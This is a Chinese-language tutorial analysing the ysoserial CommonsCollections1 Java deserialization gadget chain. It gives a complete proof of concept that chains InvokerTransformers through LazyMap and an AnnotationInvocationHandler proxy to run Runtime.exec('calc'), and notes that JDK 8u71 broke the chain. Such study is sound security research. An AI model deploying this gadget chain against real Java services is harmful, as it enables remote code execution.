CC1链补充

CC1(ysoserial)

ysoserial中的cc1和我们前面所说后半部分是一样的,这里就不细说

在ysoserial中的cc1是用LazyMap替换了TransformedMap

现在使用LazyMapget方法去触发ChainedTransformertransform方法

CC1(ysoserial)攻击链分析

调用transform方法

下面为LazyMap的部分代码

我们来看LazyMapget方法

若map中存在这个key,就返回key,如果没有这个key,才会调用factorytransform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}


public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

LazyMapTransformedMap相类似,是一个protected属性的类,无法直接构造,因此我们需要去调用其decorate去构造一个LazyMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);


}

动态代理 调用get方法

调用get方法的地方很多,我们这里直接找到我们需要的`AnnotationInvocationHandler`中的`invoke`方法,其中`Object result = memberValues.get(member);`部分调用了 `get`方法,且member参数可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

构造好LazyMap后,想要通过AnnotationInvocationHandler触发get方法,我们需要构造一个动态代理,因为想要调用invoke方法,需要用动态代理去调用任意一个方法,从而调用invoke方法里面的get方法

Proxy类继承了Serializable接口

1
2
3
4
5
6
7
8
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

构造好动态代理后,需要去调用其任意方法

下面是invoke方法部分代码

代码表达的意思是想要走到get方法,就不能调用其equals方法,且调用的是一个无参方法才行,

1
2
3
4
5
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

有一个特别巧妙地地方,在AnnotationInvocationHandlerreadObject中,会有一个调用memberValues的entrySet方法,正好是一个不为equals的无参方法

1
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

根据分析写出的整个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = aClass.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

// serialize(o);
unserialize("ser.bin");

}

版本修复

实际在jdk_8u71之后,AnnotationInvocationHandler类做了一些调整,直接去掉了readObject中的checkSetValue方法

而对动态代理类的序列化也有一定的调整,但是实际非常麻烦,这里我们就不说了

因此这两条链都断了